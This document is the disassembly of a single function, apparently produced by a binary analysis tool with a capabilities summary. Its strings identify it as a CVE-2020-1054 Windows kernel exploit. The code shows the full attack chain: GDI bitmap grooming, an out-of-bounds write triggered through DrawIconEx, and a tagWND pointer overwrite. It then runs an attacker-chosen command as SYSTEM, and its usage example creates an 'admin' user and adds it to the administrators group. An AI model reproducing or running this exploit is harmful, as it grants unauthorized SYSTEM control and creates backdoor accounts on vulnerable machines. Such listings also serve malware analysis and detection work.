Function at 0x1400010d0
Capabilities:
Accept command line arguments
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Execute command
Read file on windows
Terminate process

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0xc0a8]
mov eax, 0xc1a8
call fcn.1400025f0
sub rsp, rax
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0xc080], rax
mov dword [rbp + 0x70], 0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp + 0x70]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea rcx, str.CVE_2020_1054_exploit
mov qword [rsp + 0x68], rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
cmp dword [rbp + 0x70], 2
je 0x14000114a
mov rdx, qword [rdi]
lea rcx, str.Usage:__S_command_nExample:__S__net_user_admin_admin__ad__net_user_localgroup_administrators_admin__ad_
mov r8, rdx
call fcn.140001070
mov eax, 0xffffffff
jmp 0x140001357
mov qword [rsp + 0xc1a0], r13
lea rcx, str.pause
mov qword [rsp + 0xc190], r15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edx, 0x51500
mov r8d, 0x100
mov rcx, rax
mov r13, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rdx, rax
mov qword [rsp + 0x60], rax
lea rcx, str.__hExploitBit_Handle_address:__p_n
mov rdi, rax
call fcn.140001070
mov rcx, qword gs:[0x30]
mov r15, qword [rcx + 0x60]
test r15, r15
je 0x14000184e
mov rdx, r15
lea rcx, str.__Peb_Pointer_address_:__p_n
call fcn.140001070
mov r15, qword [r15 + 0xf8]
test r15, r15
je 0x14000184e
mov qword [rsp + 0xc1c0], rbx
lea rcx, str.__GdiSharedHandleTable_Pointer_address:__p_n
mov qword [rsp + 0xc1c8], rsi
mov rdx, r15
mov qword [rsp + 0xc1d0], r12
mov qword [rsp + 0xc198], r14
call fcn.140001070
movzx eax, di
lea rcx, [rax + rax*2]
mov r14, qword [r15 + rcx*8]
lea rcx, str.__dwExpBitmapObj_Lookup_address:__p_n
mov rdx, r14
call fcn.140001070
movabs rax, 0x100000000
lea rcx, str.__oob_target__address:__p_n
and r14, 0xfffffffffff00000
add r14, rax
mov rdx, r14
call fcn.140001070
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
xor ebx, ebx
mov edx, 0x6f000
mov rcx, rax
mov r12, rax
lea r8d, [rbx + 8]
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
movzx ecx, ax
mov rsi, rax
lea rdi, [rcx + rcx*2]
mov rdi, qword [r15 + rdi*8]
test rdi, rdi
je 0x140001316
cmp rdi, r14
jb 0x1400012b3
mov rax, rdi
and eax, 0x70000
cmp rax, 0x70000
jne 0x1400012b3
mov rdx, rdi
mov qword [0x140005628], rdi
lea rcx, str.___Find_hManager___p_n
mov qword [0x140005620], rsi
call fcn.140001070
cmp qword [0x140005628], 0
jbe 0x1400012eb
cmp rbx, 1
jne 0x1400012e2
mov rdx, rdi
mov qword [0x140005630], rdi
lea rcx, str.___Find_hWorker_____p_n
mov qword [0x140005638], rsi
call fcn.140001070
jmp 0x1400012e8
ja 0x140001370
inc rbx
mov edx, 0x6f000
mov r8d, 8
mov rcx, r12
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rsi, rax
movzx eax, ax
lea rdi, [rax + rax*2]
mov rdi, qword [r15 + rdi*8]
test rdi, rdi
jne 0x140001281
lea rcx, str.____Ran_out_of_memory_allocating_Bitmaps
call fcn.140001070
mov eax, 1
mov r14, qword [rsp + 0xc198]
mov rsi, qword [rsp + 0xc1c8]
mov r12, qword [rsp + 0xc1d0]
mov rbx, qword [rsp + 0xc1c0]
mov r13, qword [rsp + 0xc1a0]
mov r15, qword [rsp + 0xc190]
mov rcx, qword [rbp + 0xc080]
xor rcx, rsp
call fcn.1400018f0
add rsp, 0xc1a8
pop rdi
pop rbp
ret
lea rcx, str.___GetBitMapBits_Reading_using_oob_target..._n
call fcn.140001070
mov rdx, qword [rsp + 0x60]
mov rcx, r13
call qword [sym.imp.GDI32.dll_SelectObject]
lea rcx, str.TriggerExploit_n
call fcn.140001070
xor r12d, r12d
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x38], r12
mov edx, 0x900
mov dword [rsp + 0x30], r12d
movabs r9, 0x40000010003
mov dword [rsp + 0x28], 0xffe00000
mov rcx, r13
lea r8d, [r12 + 0xb]
mov dword [rsp + 0x20], r12d
call qword [sym.imp.USER32.dll_DrawIconEx]
lea rcx, str.Creating_ExploitWnd_n
call fcn.140001070
lea rcx, [0x140003350]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
test rax, rax
jne 0x14000140e
lea rcx, str.Failed_to_load_user32
call fcn.140001070
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
jmp 0x14000131d
lea rdx, str.IsMenu
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
test rax, rax
jne 0x14000143e
lea rcx, str.Failed_to_find_location_of_exported_function_IsMenu_within_user32.dll_n
call fcn.140001070
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
jmp 0x14000131d
mov eax, r12d
mov rcx, rdx
inc eax
cmp byte [rcx], 0xe8
je 0x140001457
inc rcx
cmp eax, 0x1000
jb 0x140001444
jmp 0x14000145b
test eax, eax
jne 0x140001473
lea rcx, str.Failed_to_find_offset_of_HMValidateHandle_from_location_of_IsMenu_n
call fcn.140001070
lea rcx, str.____Failed_to_locate_HmValidateHandle__exiting_n
jmp 0x14000131d
mov ecx, dword [rax + rdx]
xorps xmm0, xmm0
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
sub ecx, edi
add ecx, edx
mov qword [rbp - 0x50], 0x50
add rdi, 0xb
movdqa xmmword [rbp - 0x40], xmm0
add rcx, rdi
movdqa xmmword [rbp - 0x20], xmm0
mov qword [0x140005640], rcx
lea rdi, str.hongye
xorps xmm1, xmm1
mov qword [rbp - 8], r12
lea rcx, [rbp - 0x50]
movdqa xmmword [rbp - 0x30], xmm1
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x10], rdi
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], r12
mov r9d, 0xcf0000
mov qword [rsp + 0x50], r12
mov r8, rdi
mov qword [rsp + 0x48], r12
mov rdx, rdi
mov qword [rsp + 0x40], r12
mov ecx, 0x200
mov dword [rsp + 0x38], 0x78
mov dword [rsp + 0x30], 0xf0
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r15, rax
test rax, rax
jne 0x140001539
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateWindowEx_error_0x_x__n
call fcn.140001070
lea eax, [r15 + 3]
jmp 0x140001327
mov edx, 1
mov rcx, r15
call qword [0x140005640]
lea rcx, str.___tagWND:_0x_p_n
mov r14, qword [rax + 0x20]
mov rdx, r14
call fcn.140001070
mov edi, dword [0x140005630]
sub edi, dword [0x140005628]
sub edi, 0x1e8
mov ecx, edi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdx, qword [0x140005620]
lea rcx, str.hManager_0x_p_n
mov rbx, rax
call fcn.140001070
mov rdx, qword [0x140005638]
lea rcx, str.hWorker__0x_p_n
call fcn.140001070
mov rcx, qword [0x140005620]
mov r8, rbx
mov edx, edi
call qword [sym.imp.GDI32.dll_GetBitmapBits]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetBitmapBits_error_0x_x__n
call fcn.140001070
mov rcx, qword [0x140005620]
lea edx, [rdi + 8]
mov r8, rbx
call qword [sym.imp.GDI32.dll_SetBitmapBits]
mov rcx, qword [0x140005620]
lea rax, [r14 + 0x90]
mov r8, rbx
mov qword [rdi + rbx], rax
lea edx, [rdi + 8]
call qword [sym.imp.GDI32.dll_SetBitmapBits]
mov rcx, qword [0x140005638]
lea rax, [0x140001860]
lea r8, [rbp + 0x78]
mov qword [rbp + 0x78], rax
mov edx, 8
call qword [sym.imp.GDI32.dll_SetBitmapBits]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.USER32.dll_SendMessageW]
xor edx, edx
lea rcx, [rbp + 0x2080]
mov r8d, 0xa000
call sub.VCRUNTIME140.dll_memset
xor eax, eax
lea rdi, [rbp]
mov ecx, 0x68
lea r8, [rbp - 0x80]
rep stosb byte [rdi], al
lea rdi, [rbp - 0x68]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rdi, [rbp - 0x80]
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
mov dword [rbp - 0x80], 0x18
xor r9d, r9d
mov qword [rbp - 0x78], r12
lea rdx, [rsp + 0x78]
mov dword [rbp - 0x70], 1
mov edi, r12d
call qword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x140001697
mov eax, 0xfffffffd
jmp 0x140001327
mov rbx, qword [rsp + 0x68]
lea rcx, str.___Trying_to_execute__s_as_SYSTEM_n
mov rdx, qword [rbx + 8]
call fcn.140001010
lea rcx, [rbp]
mov dword [rbp], 0x68
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov rax, qword [rsp + 0x78]
lea rcx, [rbp + 0x80]
mov qword [rbp + 0x60], rax
xor edx, edx
mov qword [rbp + 0x58], rax
mov r8d, 0x2000
lea rax, str.WinSta0Default
mov word [rbp + 0x40], r12w
mov qword [rbp + 0x10], rax
mov dword [rbp + 0x3c], 0x101
call sub.VCRUNTIME140.dll_memset
mov rdx, qword [rbx + 8]
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rbp - 0x68]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x80]
lea rax, [rbp]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x78]
test eax, eax
jne 0x14000177c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateProcessW_Failed___lx__n
call fcn.140001070
mov eax, 0xfffffffe
jmp 0x140001327
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rbp - 0x58]
lea rcx, str.___ProcessCreated_with_pid__d__n
call fcn.140001070
mov rcx, qword [rsp + 0x70]
lea r9, [rbp + 0x74]
mov r8d, 0xfa0
mov qword [rsp + 0x20], r12
lea rdx, [rbp + 0x2080]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400017ee
nop word [rax + rax]
add edi, dword [rbp + 0x74]
lea rdx, [rbp + 0x2080]
mov rcx, qword [rsp + 0x70]
lea r9, [rbp + 0x74]
movsxd rax, edi
mov r8d, 0xfa0
add rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1400017c0
lea rcx, str.
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, [rbp + 0x2080]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
jmp 0x140001347